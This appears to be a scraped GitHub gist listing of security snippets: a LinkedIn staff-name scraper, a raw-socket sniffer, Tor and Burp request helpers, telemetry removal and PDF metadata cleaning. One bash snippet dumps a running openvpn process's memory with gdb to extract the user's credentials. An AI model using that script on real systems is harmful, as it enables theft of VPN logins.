Skip to content

Instantly share code, notes, and snippets.

View maldevel's full-sized avatar
🌴
On vacation

maldevel maldevel

🌴
On vacation
View GitHub Profile
@maldevel
maldevel / export-linkedin-names.py
Last active January 2, 2024 12:10
Export Full names from organization's linkedin people page.
#!/usr/bin/python3
import re
import sys
if len(sys.argv) < 2:
print("Usage: python3 export-linkedin-name.py <page.html>")
exit(1)
@DiabloHorn
DiabloHorn / pyrawcap.py
Created March 9, 2017 23:24
Python sniffer using only raw sockets
#!/usr/bin/env python
#DiabloHorn https://diablohorn.com
#raw python pcap creater
#based on
# http://askldjd.com/2014/01/15/a-reasonably-fast-python-ip-sniffer/
#additional references
# http://www.kanadas.com/program-e/2014/08/raw_socket_communication_on_li.html
import sys
import time
@mubix
mubix / infosec_newbie.md
Last active July 4, 2024 21:11
How to start in Infosec
@maldevel
maldevel / call_burp_requests.py
Last active September 16, 2016 20:14
Make Multiple Burp HTTP Requests
import requests
import os
proxies = {
'http': 'http://127.0.0.1:8080',
'https': 'http://127.0.0.1:8080',
}
protocol = 'https'
xsrf = 'xsrf-token'
@PaulSec
PaulSec / tor.py
Last active December 3, 2015 16:08
Quick snippet to start Tor and send a HTTP request
import io
import socks
import socket
import urllib2
import stem.process
from stem.util import term
SOCKS_PORT = 7000
def create_connection(address, timeout=None, source_address=None):
#!/bin/bash
# This little hack-job will grab credentials from a running openvpn process in Linux
# Keep in mind this won't work if the user used the --auth-nocache flag
pid=$(ps -efww | grep -v grep | grep openvpn | awk '{print $2}')
echo $pid | grep rw-p /proc/$pid/maps | sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' | while read start stop; do gdb --batch-silent --silent --pid $pid -ex "dump memory $pid-$start-$stop.dump 0x$start 0x$stop"; done
echo "Your credentials should be listed below as username/password"
strings *.dump | awk 'NR>=3 && NR<=4 { print }'
rm *.dump --force
@xvitaly
xvitaly / remove_crw.cmd
Last active July 21, 2024 21:01
Remove telemetry updates for Windows 7 and 8.1
@echo off
echo Uninstalling KB3075249 (telemetry for Win7/8.1)
start /w wusa.exe /uninstall /kb:3075249 /quiet /norestart
echo Uninstalling KB3080149 (telemetry for Win7/8.1)
start /w wusa.exe /uninstall /kb:3080149 /quiet /norestart
echo Uninstalling KB3021917 (telemetry for Win7)
start /w wusa.exe /uninstall /kb:3021917 /quiet /norestart
echo Uninstalling KB3022345 (telemetry)
start /w wusa.exe /uninstall /kb:3022345 /quiet /norestart
echo Uninstalling KB3068708 (telemetry)
@bnagy
bnagy / gpgmutt.md
Last active July 7, 2024 08:18
Mutt, Gmail and GPG

GPG / Mutt / Gmail

About

This is a collection of snippets, not a comprehensive guide. I suggest you start with Operational PGP.

Here is an incomplete list of things that are different from other approaches:

  • I don't use keyservers. Ever.
  • Yes, I use Gmail instead of some bespoke hipster freedom service
@hubgit
hubgit / README.md
Last active June 14, 2024 17:40
Remove metadata from a PDF file, using exiftool and qpdf. Note that embedded objects may still contain metadata.

Anonymising PDFs

PDF metadata

Metadata in PDF files can be stored in at least two places:

  • the Info Dictionary, a limited set of key/value pairs
  • XMP packets, which contain RDF statements expressed as XML

PDF files

# coding=utf-8
"""
LICENSE http://www.apache.org/licenses/LICENSE-2.0
"""
import datetime
import sys
import time
import threading
import traceback
import SocketServer